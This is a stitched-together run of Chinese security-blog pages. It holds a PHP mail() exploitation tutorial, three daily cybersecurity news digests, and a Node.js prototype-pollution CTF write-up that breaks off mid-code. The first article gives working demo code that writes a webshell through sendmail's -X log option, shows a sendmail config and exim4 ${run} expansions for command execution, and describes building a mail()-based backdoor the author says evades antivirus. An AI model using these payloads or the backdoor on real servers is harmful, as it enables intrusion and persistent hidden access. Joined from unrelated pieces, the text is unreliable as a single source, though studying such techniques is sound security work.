从一次有趣的漏洞分析到一个有趣的PHP后门
起因 事情的起因很有趣,前几天我正对着电脑发呆的时候,突然有个安全交流群的群友来找我交流一个问题 大概的意思就是,他在挖SRC的时候,发现一处资产存在目录遍历漏洞,它通过这个漏洞,找到目标资产使用了一个名为phpmailer的中间件(应该类似于中间件吧),问我有没有办法利用,我查了一下这个组件的漏洞信息。最新的洞似乎截止到6.5.0版本以前 很不幸,群友这个版本是6.5.1,刚好就不能利用了 找不到符合版本的洞没关系,抱着学习的心态,我还是看了一下它的历史漏洞成因,不看不知道,看了之后就学到一些好玩的新知识了,这也就是为什么会有这篇文章的原因。 CVE-2016-10033的简单分析 CVE-2016-10033是Phpmailer出现过的最经典的的漏洞,在本文正式开始之前,我们先来简单分析一下这个漏洞。读者可以到: https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php看到phpmailer的代码。这里先开门见山地说,漏洞的成因其实就在mail()函数的第五个参数,只要控制了第五个参数,我们就能进行RCE、文件读取等操作。因此我们先追溯mail()函数: 因此我们可以先定位到mailPassthru()这一方法,可以看到,这个方法内部就使用了mail(),maill的第五个参数也就是mailPassthru()的第五个参数。 因此,我们再查看有没有别的地方使用了mailPassthru(),可以找到这个maillSend()方法中使用了mailPassthru()方法,并且第五个参数$params是来自于当前类中的Sender属性 那我们回溯Sender属性,看看有什么地方可以控制Sender属性。 这里可以看到,setFrom方法当中,就可以对Sender属性进行赋值 当然,这个漏洞还有一个重点就是对validateAddress()这一方法的绕过,这也是CVE-2016-10033的精彩部分。 但是它和本文的重点不符,所以我们就不深入分析这块。 既然知道了Sender这个关键属性是怎么赋值的,接下来我们继续分析mailSend()方法的调用链,可以找到postSend()方法 继续看postSend(),最终可以找到send()方法 自此,整个漏洞的传参流程我们就已经分析完了。大体上来说,只要我们用setFrom()方法对Sender属性赋值,再调用send()方法。那么Sender属性的值就会进入到mail()函数的第五个参数中,从而实现RCE。看到这想必很多读者已经对开篇提到的这个mail()函数的第五个参数提起兴趣了,为什么控制了它就能实现RCE呢?这就要提到php中 mail()函数的实现原理了。 有趣的mail() mail()函数是php定义的用来发送邮件的函数,其支持的参数如下: 为什么一个发送邮件的函数能造成RCE?前人的安研经验已经告诉了我们答案。Php的mail()函数,其底层其实是调用了linux下的sendmail命令。由于sendmail支持一些有趣的参数,这就会造成更大的危害。 ①日志写入导致的RCE 接着上面提到的内容来说,我们首先要介绍的是sendmaill的X和O参数,其效果分别为: -X logfile :指定一个文件来记录邮件发送的详细日志。 -O option=value :临时设置一个邮件储存的临时位置。 看到这大部分读者应该马上能反应过来,我们能指定文件来储存邮件发送的日志,那不就可以写日志getshell了吗?事实也的确如此。了解这个信息之后,我们再回过头看mail()函数支持的第五个参数: 没错,我们可以用这个第五个参数来控制sendmail的额外参数,那我们控制X的参数值不就拿下了?我们可以使用如下demo进行测试: <?php $to = 'La2uR1te@b.c'; $subject = '<?php system("whoami"); ?>'; //你想执行的任意php代码 $message = '<?php system("ls ./"); ?>';//同上 $headers = ''; $addtionparam = '-f La2uR1te@1 -OQueueDirectory=/tmp/ -X/var/www/html/1.php'; //假设我们已知目标站点绝对路径 mail($to, $subject, $message, $headers, $param); ?> 比如我在自己的服务器上运行如下代码,我们假设网站根目录是/root/,我们运行一下上述代码看看会发生什么。(在复现的时候确保你已经安装过sendmail,不然没用)。 运行完之后,我们在root目录下确实发现了一个名为testmail.php的文件。 我们看看它的内容是什么: 其实他的内容很多,就是日志文件。但是看箭头指的地方,毫无疑问,我们的代码已经被成功写入了。这时候如果我们再用php来执行这个testmail.php,注意看前后的区别 当前用户就是root,当前目录下只有testmail.php和test.php,毫无疑问,我们的恶意代码已经被成功执行了。 综上,如果我们知道目标网站的绝对路径、目标网站是linux环境并且php底层使用sendmail进行发送邮件(默认),那么就可以使用mail()函数来执行写入日志文件的GETSHELL。 ②读取配置文件导致的任意文件读取 这个函数好玩的地方不止于此,它还可以用于任意文件读取。我们修改一下上面的demo 注意看这里,我们使用了-C参数,后面跟着我们想读取的文件。这样就能直接实现任意文件读取了! 如下图,直接读文件一把梭 ③进阶技巧之利用配置文件执行代码 设想这么一个变态的情况,整个网站,假设我们只有一个可供文件写入的点,并且还有很严格的过滤。这个时候有没有能够用mail()来操作的可能呢?再说回sendmail命令的特性,默认会使用sendmail-mta来解析待发送的邮件内容,我们其实有办法覆盖sendmail的解析配置,让它用php来解析我们要发送的邮件内容,从而直接完成命令执行。 我们首先到/etc/mail/sendmail.cg,复制其内容。然后在其内容结尾加上如下配置: Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=php -- $u $h ${client_addr} 把这个新文件命名为sendmail_cf 接着我们执行如下命令,因为这玩意不能回显,所以我们还是让它新创建几个文件: 执行上面的代码之后。可以看到tmp目录下多出一个xnklgxfc(提前祝师傅们新年快乐恭喜发财哈) ④进阶技巧之Exim4情况下mail()函数操作 这里因为环境没配置好,所以没有演示成功,我就借助别的师傅的结果了 mail()函数的底层虽然是sendmail命令,但有时它也有可能是exim4命令。比方说在ubuntu/debain中,sendmail实际上软连接到了exim4。也就是说,我们有新姿势了(exim4的各种参数和能打出的操作都是不同的) 这里我们介绍一个,-be参数,这个参数事exim4中的运行扩展模式参数,这个参数支持我们打出大量操作,例如: -be ${run{<command> <args>}{<string1>}{<string2>}} //执行命令<command> <args>,成功返回string1,失败返回string2 -be ${substr{<string1>}{<string2>}{<string3>}} //字符串的截取,在string3中从string1开始截取string2个字符 -be ${readfile{<file name>}{<eol string>}} //读文件file name,以eol string分割 -be ${readsocket{<name>}{<request>}{<timeout>}{<eolstring>}{ <fail string>}} //发送socket消息,消息内容为request 没错,你可以发现,这玩意除了可以进行直接的命令执行(不需要写日志文件getshell了),虽然不能回显,但是弹个shell就是简简单单。并且还是可以任意文件读取。并且最骚的是可以用substr来进行字符串截取,这样的话就支持我们进行很多绕过WAF的操作。 利用mail()来造一个简单的后门 上文提到了各种mail()的骚操作,我在学习复现的过程中除了感到NB无话可说。它的种种特性不禁让我思考,它是否有成为后门的潜质,它在正常的linux环境就可以实现日志getshell以及任意文件读取。在其它特定情况下它也可以无回显进行命令执行。并且它是一个再正常不过的函数,一般的开发和安全人员可能都不会觉得这样一个人畜无害的邮件发送函数能造成什么危害。抱着这样的心态,我先简单的实现了这么一个功能: 其中$e的明文内容为:-f La2uR1te@1 -OQueueDirectory=/tmp/-X/root/mailshell.php 而$a/$b/$c/$d的内容均为phpshell。我们拿它到实际环境去试试看能不能成功实现我们刚刚演示的效果。如果运行成功,那么应该会在root目录下生成mailshell.php 如图,mailshell.php成功生成 其内容即为php一句话 所以我们继续改造一下这个后门,让其变得更加可控。根据上面的总结我们可以知道只要控制第五个参数就行,所以我们的改造也十分简单: 这个后门最后能实现的效果包括但不限于:①linux环境下的任意文件写入(可getshell)②linux环境下的任意文件读取③特定环境(比如mail()底层使用exim4或软连接到exim4)下的无回显命令执行、代码执行 截至本文发表,这个结构极其简单的后门依然具有不错的免杀能力: 后记 之所以说本文是炒冷饭,是因为安全圈至少在2016年之前就已经知道mail()函数造成的危害。而更多深入利用姿势在17年和18年都有师傅总结。对于我这个萌新来说,确实是大开眼界叹为观止,果然漏洞的复现一定要及时搞,不然容易错过很多有趣的知识。
网络安全日报 2023年02月14日
1、恶意Npm包使用误植域名技术下载恶意软件 https://www.infosecurity-magazine.com/news/malicious-npm-package-uses/ ReversingLabs的安全研究人员在开源JavaScript npm存储库中发现了一个名为“aabquerys”的包,它使用误植域名技术来支持恶意组件的下载。研究人员表示,恶意包由两个文件组成,其中一个通过JavaScript混淆器进行了混淆处理。当在PC上打开恶意该文件时,会显示一条虚假的网络浏览器崩溃消息和一个链接,该链接会导致下载已在多个恶意软件活动中使用的第二阶段恶意软件。然后又侧加载了一个动态链接库(DLL)文件,该文件下载了第三阶段的 2、以色列理工学院遭DarkBit勒索软件团伙攻击 https://securityaffairs.com/142160/hacking/israeli-technion-suffered-ransomware-attack.html 以色列理工学院(Technion -Israel Institute of Technology)2023年2月12日周日遭到黑客入侵,一个自称DarkBit的威胁行为者声称对周日入侵该研究所的勒索软件攻击负责。DarkBit组织要求80比特币用于解密,但专家指出,黑客团队似乎是出于政治动机,即使满足了要求,他们也不太可能提供解密密钥。Darkbit威胁称,如果Technion拒绝在48小时内支付所要求的金额, 3、域名注册商Namecheap的电子邮件账户遭黑客入侵 https://www.bleepingcomputer.com/news/security/namecheaps-email-hacked-to-send-metamask-dhl-phishing-emails/ 域名注册商Namecheap的电子邮件帐户在周日晚上遭到破坏,导致大量MetaMask和DHL网络钓鱼电子邮件泛滥,试图窃取收件人的个人信息和加密货币钱包。网络钓鱼活动始于美国东部时间下午4:30左右,起源于Namecheap过去用来发送续订通知和营销电子邮件的电子邮件平台SendGrid。此活动中发送的网络钓鱼邮件冒充DHL或MetaMask。DHL钓鱼邮件伪装成完成包裹递送 4、黑客组织 Killnet 以北约网站为目标发起 DDoS 攻击 https://securityaffairs.com/142192/hacking/killnet-targets-nato-websites.html 黑客组织 Killnet 对北约服务器发起分布式拒绝服务 (DDoS) 攻击,包括北约特种作战总部 (NSHQ) 网站。 5、微软ChatGPT版必应被黑:全部Prompt泄露 https://mp.weixin.qq.com/s/89KeLjDoS9IyArIr8z6jjg 2 月 8 号上线的全新必应正在进行限量公测,用户可以申请在其上与 ChatGPT 交流。但没多久,有研究员发现了用来为 Bing Chat 设置条件的 prompt。 6、疑GhostSec黑客再出手,攻陷伊朗37个Modbus系统 https://www.secrss.com/articles/51809 据名为CyberKnow的推特账户2月10日发帖称,GhostSec黑客在近日支持Iran(OpIran)国内的抗议活动中,再次对Iran的工业系统下手,据其自称已攻陷37个Modbus系统,并使这些系统下线。 7、CISA 发布解密工具后出现新的 ESXiArgs 勒索软件变体 https://thehackernews.com/2023/02/new-esxiargs-ransomware-variant-emerges.html 在美国网络安全和基础设施安全局 (CISA) 为受影响的受害者发布一个解密器以从ESXiArgs 勒索软件攻击中恢复后,威胁行为者又用一个加密更多数据的更新版本。 8、奥克兰市遭受勒索软件攻击 https://www.securityweek.com/city-of-oakland-hit-by-ransomware-attack/ 奥克兰市披露了一次勒索软件攻击,该攻击影响了多个非紧急系统。 9、英国和美国因勒索软件攻击而制裁7名俄罗斯人 https://thehackernews.com/2023/02/uk-and-us-sanction-7-russians-for.html 在首次协调行动中,英国和美国政府9日对七名俄罗斯国民实施了制裁,因为他们与TrickBot,Ryuk和Conti网络犯罪行动有联系。 10、TA866黑客组织针对美国和德国公司 https://thehackernews.com/2023/02/hackers-targeting-us-and-german-firms.html 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年02月13日
1、Enigma窃取程序利用虚假就业针对加密货币行业 https://www.trendmicro.com/en_us/research/23/b/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs.html Trendmicro的研究人员最近发现了一个活跃的活动,该活动以虚假就业为借口,针对加密货币行业的东欧人安装信息窃取程序。在这次活动中,疑似俄罗斯威胁行为者使用几个高度混淆和开发不完全的自定义加载程序,以便使用Enigma窃取程序(检测为TrojanSpy.MSIL.ENGIMASTEALER.YXDBC)感染加密货币行业的人员,这是Stealerium信息窃取器的改 2、英国政客称其电子邮件疑似遭到俄罗斯黑客入侵 https://www.infosecurity-magazine.com/news/uk-politician-email-hacked-russian/ 苏格兰民族党(SNP)Stewart McDonald称,他的个人电子邮件账户疑似被俄罗斯威胁行为者入侵,他在2月8日发布的一条推文中强调了鱼叉式网络钓鱼事件。Stewart McDonald是在2023年1月收到钓鱼消息的,来自他手下一名员工的真实电子邮件地址。该消息称,附件中有一份受密码保护的文件,内容是乌克兰军事局势的最新情况。单击文件后,被定向到他所用电子邮件帐户的登录页面。然而,当他输入密码时,出现了一个空白页面。几天后,由于 3、黑客入侵Reddit以窃取其源代码和内部数据 https://www.bleepingcomputer.com/news/security/hackers-breach-reddit-to-steal-source-code-and-internal-data/ Reddit周日晚间遭受网络攻击,黑客可以进入其内部业务系统,窃取内部文件和源代码。该公司表示,黑客使用网络钓鱼诱饵,通过假冒其内部网的登录页面瞄准Reddit员工。该网站试图窃取员工的凭证和双因素身份验证令牌。在成功获得一名员工的凭证后,攻击者获得了一些内部文档、代码以及一些内部仪表板和业务系统的访问权。 4、多个文档管理系统被发现存在未修补安全漏洞 https://thehackernews.com/2023/02/unpatched-security-flaws-disclosed-in.html 四个供应商LogicalDOC、Mayan、ONLYOFFICE和OpenKM的开源和免费文档管理系统(DMS)产品中披露了八个未修补的安全漏洞。网络安全公司Rapid7表示,这八个漏洞提供了一种机制,通过该机制,“攻击者可以说服操作员将恶意文档保存在平台上,一旦文档被用户索引并触发,攻击者就可以通过多种途径控制组织。”这八个跨站点脚本(XSS)漏洞分别被跟踪为:ONLYOFFICE:CVE-2022-47412,OpenKM:CVE-20 5、Clop勒索软件团伙声称攻击了130个组织 https://securityaffairs.com/142130/cyber-crime/clop-ransomware-goanywhere-mft.html 据BleepingComputer报道,Clop勒索软件组织声称利用Fortra的GoAnywhere MFT安全文件传输工具中的零日漏洞(CVE-2023-0669)窃取了130多个组织的敏感数据,但没有透露有关他们所说的细节。该勒索软件团伙还声称已经完全破坏了网络组织,但没有部署任何勒索软件。多位专家已经发布了CVE-2023-0669漏洞的利用代码,Rapid7首席安全研究员Ron Bowes宣布,他们已将Fortra的G 6、新网络钓鱼活动滥用谷歌广告窃取用户登录凭据 https://www.bleepingcomputer.com/news/security/malicious-google-ads-sneak-aws-phishing-sites-into-search-results/ Sentinel Labs的研究人员发现,针对Amazon Web Services(AWS)登录的新网络钓鱼活动正在滥用谷歌广告,将网络钓鱼网站潜入谷歌搜索以窃取用户的登录凭据。研究人员在2023年1月30日发现了这一恶意搜索结果。最初,威胁行为者将广告直接链接到网络钓鱼页面。在后期阶段,他们增加了重定向步骤。恶意谷歌广告将受害者带到攻击者控制的博客网站,该网站使用 7、研究人员在无线工业IIoT设备中发现38个安全漏洞 https://thehackernews.com/2023/02/critical-infrastructure-at-risk-from.html 研究人员在四家不同供应商的无线工业物联网 (IIoT) 设备中发现了38个安全漏洞,以色列工业网络安全公司Otorio表示:“威胁行为者可以利用无线IIoT设备中的漏洞,获得对OT内部网络的初始访问权。他们可以利用这些漏洞绕过安全层并渗透目标网络,使关键基础设施面临风险或中断生产。”在38个漏洞中,有三个会影响ETIC Telecom的远程访问服务器(RAS):CVE-2022-3703、CVE-2022-41607和CVE-2022-409 8、Dota 2玩家受到攻击:黑客利用 Chrome 漏洞感染玩家 https://cyware.com/news/dota-2-under-attack-threat-actors-exploit-a-chrome-flaw-to-infect-gamers-97ef88c2 Avast Threat Labs 研究人员发现,攻击者创建了四个恶意 Dota 2 游戏模组,并将它们发布在 Steam 商店上以吸引游戏玩家。据说大约有200名玩家受到了这次袭击的影响。恶意游戏模式名称是 Overdog no annoying heroes (id 2776998052)、Custom Hero Brawl (id 2780728794) 和 Overthrow 9、NIST 宣布 ASCON 为物联网数据保护加密算法 https://www.securityweek.com/nist-picks-ascon-algorithms-to-protect-data-on-iot-small-electronic-devices/ 美国国家标准与技术研究所(NIST)宣布,名为Ascon的认证加密和散列算法系列将成为标准算法,用于轻量级密码学应用。 10、A10 Networks遭Play勒索软件攻击数据泄露 https://www.bleepingcomputer.com/news/security/a10-networks-confirms-data-breach-after-play-ransomware-attack/ 总部位于加利福尼亚州的网络硬件制造商“A10 Networks”向BleepingComputer证实,Play勒索软件团伙曾短暂访问其IT基础设施并窃取了数据。在2月早些时候提交的一份8-K文件中,该公司表示这起安全事件发生在2023年1月23日,并持续了几个小时,之后其IT团队设法阻止了入侵并控制了损失。A10公司调查确定,威胁行为者设法获得了对共享驱动器的访问权限,部 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年02月10日
1、攻击者通过Microsoft OneNote文件分发恶意软件 https://www.bleepingcomputer.com/news/security/new-qaknote-attacks-push-qbot-malware-via-microsoft-onenote-files/ 自2023年1月31日起,研究人员发现了一种名为“QakNote”的新QBot恶意软件活动,它使用恶意Microsoft OneNote“.one”附件向系统分发银行木马。威胁行为者在创建恶意OneNote文档时可以嵌入几乎任何文件类型,包括VBS附件或LNK文件。攻击者会利用社会工程来说服用户点击特定位置以启动嵌入式附件,当用户双击OneNote Notebook中 2、半导体设备制造商MKS Instruments遭勒索软件攻击 https://www.csoonline.com/article/3687098/mks-instruments-falls-victim-to-ransomware-attack.html 半导体设备制造商MKS Instruments在提交给美国证券交易委员会的一份文件中表示,该公司正在调查2月3日发生的勒索软件事件,此事件影响了其生产相关系统。MKS Instruments的网站现在仍然无法访问。该公司表示,它已通知执法部门,同时通过聘请事件响应专业人员调查和评估事件的影响。MKS Instruments高级副总裁说:“该事件影响了某些业务系统,包括与生产相关的系统,作为遏制措施的一 3、攻击者利用恶意《Dota 2》游戏模组分发恶意软件 https://www.bleepingcomputer.com/news/security/malicious-dota-2-game-mods-infected-players-with-malware/ Avast威胁实验室的研究人员发现,威胁行为者为多人在线竞技游戏《Dota 2》创建了四个恶意的游戏模组,并将它们发布在Steam商店上以针对游戏的玩家。这四个恶意游戏模组被命名为:Overdog no annoying heroes(id 2776998052)、Custom Hero Brawl(id 2780728794)和Overthrow RTZ Edition X10 XP 4、金属工程公司Vesuvius遭网络攻击关闭部分系统 https://www.infosecurity-magazine.com/news/uk-metalg-firm-vesuvius-cyberattack/ 总部位于英国的熔融金属流动工程公司Vesuvius于2023年2月6日发布了一份警报,称其目前正在处理一起网络事件,该事件涉及对其系统的未经授权访问。Vesuvius公司没有就事件的性质和范围、受影响的系统或攻击者的身份提供任何信息。该公司在一份声明中表示“在意识到我们网络上存在未经授权的活动后,我们立即采取了必要的措施来调查和应对事件,包括关闭受影响的系统。我们正在与领先的网络安全专家合作,以支持我们的调查并确定问题的严重程度,包括 5、专家公布了Killnet黑客组织使用的代理IP列表 https://securityaffairs.com/142006/hacktivism/killnet-proxy-ips-addresses.html SecurityScorecard的研究人员公布了Killnet黑客组织使用的代理IP列表,目的是干扰其运营并阻止Killnet DDoS机器人。Killnet组织自2022年3月以来一直很活跃,它对那些表示支持乌克兰的国家的政府和关键基础设施发起了DDoS攻击,这些国家包括意大利、罗马尼亚、摩尔多瓦、捷克共和国、立陶宛、挪威和拉脱维亚。本月初,Killnet黑客组织对欧洲国家的医院发起了攻势。此次专家共享的代理IP列表还包括其他团伙使 6、药品分销商AmerisourceBergen证实数据泄露 https://www.bleepingcomputer.com/news/security/drug-distributor-amerisourcebergen-confirms-security-breach/ AmerisourceBergen是一家医药产品分销商,该公司证实,其一家子公司的IT系统遭到了黑客的攻击。Lorenz勒索软件组织发布了据称从AmerisourceBergen和MWI Animal Health窃取的所有文件,威胁行为者将发布日期设置为2022年11月1日,尽管这些文件是刚刚发布,这可能表明违规行为发生在几个月前。AmerisourceBergen声明表示:“ 7、Google发布Android 14 开发者预览版,包括隐私和安全改进 https://www.securityweek.com/google-describes-privacy-security-improvements-in-android-14/ 谷歌本周宣布推出第一个 Android 14 开发者预览版,并分享了平台更新将带来的一些安全和隐私改进的细节。Android 14 预计将于秋季某个时候登陆设备,它带来了新功能和 API,以及可能影响应用程序的行为变化。 8、大华视频监控产品存在漏洞可被远程篡改 https://www.securityweek.com/vulnerability-allows-hackers-to-remotely-tamper-with-dahua-security-cameras/ 研究人员发现了一个漏洞,远程黑客可以利用该漏洞篡改大华监控摄像头录制的视频的时间戳。该漏洞被追踪为 CVE-2022-30564,去年由总部位于印度的 CCTV 和物联网网络安全公司 Redinent Innovations 发现。周三,大华和Redinent发布了描述该漏洞的公告。 9、OpenSSL 最新更新修复了多个新的安全漏洞 https://thehackernews.com/2023/02/openssl-fixes-multiple-new-security.html OpenSSL 项目已发布修复程序以解决多个安全漏洞,包括开源加密工具包中的一个高严重性错误,该错误可能会使用户遭受恶意攻击。 10、全球社交媒体三巨头大规模宕机,Twitter遭16年历史上最大中断 https://www.freebuf.com/news/357133.html 当地时间2月8日,据安全媒体InfoRiskToday报道,全球最大的三家社交媒体平台遭遇宕机,Twitter、Instagram和YouTube的部分用户无法访问其账户。据了解,这是Twitter 16年历史上最大规模的一次宕机。许多Twitter用户8日收到一条消息提示称“已超过每日推文发送限额,无法发帖。”当天下午3点,Twitter宣布美国的Twitter Blue用户可以编辑长推文,最多可发布4000个字符。但问题也随之开始。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Nodejs原型链污染
Nodejs与JavaScript和JSON 有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。 那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。 原型对象(prototype)与原型连接点(__proto__)与原型链 在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。 person=new Object() person.firstname="John"; person.lastname="Doe"; person.age=50; person.eyecolor="blue"; 这种创建对象的方法还有另一种写法 如下 person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"}; 这种方法通过直接实例化构造方法Object()来创建对象function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器 {    this.firstname=firstname;    this.lastname=lastname;    this.age=age;    this.eyecolor=eyecolor; } var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象 var myMother=new person("Sally","Rally",48,"green"); 这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释 既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢? 对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程) function Object() { } 在底层为 var Object = new Function(); 那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。 那么提到了__proto__和prototype我们就来说说这两个是什么东西。 首先我们要了解以下概念: __proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性 比如 person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"}; 那么这个person对象就拥有了person.__proto__这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。 1.某一对象的 __proto__指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。 2.JavaScript使用prototype链实现继承机制。 3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__属性,并且可以继续指向它的的prototype。 4.Object.prototype.proto最终指向null,这也是所有原型链的终点。 5.从一个对象的__proto__不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。 如果我们有如下代码: function Father() {    this.first_name = 'Donald'    this.last_name = 'Trump' } function Son() {    this.first_name = 'Melania' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`) 那么按照上述说法 就有如下结构 对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作: 在对象son中寻找last_name。 如果找不到,则在son.__proto__中寻找last_name。 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name。 依次寻找,直到找到null结束。 原型链污染 举个栗子 // 这个对象直接实例化Object() let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型(即Object) foo.__proto__.bar = 2 // 由于查找顺序的原因,foo.bar仍然是1 console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar) 这里由于修改了foo.__proto__.bar 也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。 在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢? 我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。 看下面代码,一个简单的对象clone: function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {              // 如果target与source有相同的键名 则让target的键值为source的键值            merge(target[key], source[key])       } else {            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值       }   } } let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) 这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时, __proto__是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__被成功解析成键名了。 let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) 漏洞复现 [GYCTF2020]Ez_Express 进入环境之后是一个登录页面,测试之后发现存在http://www.zip源码泄露,开始审计index.js var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } }  return a } const clone = (a) => {  return merge({}, a); } function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword }  return undefined } router.get('/', function (req, res) {  if(!req.session.user){    res.redirect('/login'); }  res.outputFunctionName=undefined;  res.render('index',data={'user':req.session.user.user}); }); router.get('/login', function (req, res) {  res.render('login'); }); router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")   }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   }    res.redirect('/'); }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;   }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")   }   }  res.redirect('/'); ; }); router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}  req.session.user.data = clone(req.body);  res.end("<script>alert('success');history.go(-1);</script>");   }); router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router; 看下面两段代码 function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword }  return undefined }router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")   }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   }    res.redirect('/'); }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;   }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")   }   }  res.redirect('/'); ; }); 只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。 再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。 if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 所以用ADMıN来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。 这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。 const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } }  return a }const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } } 往下看找到调用clone的位置 router.post('/action', function (req, res) {  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN 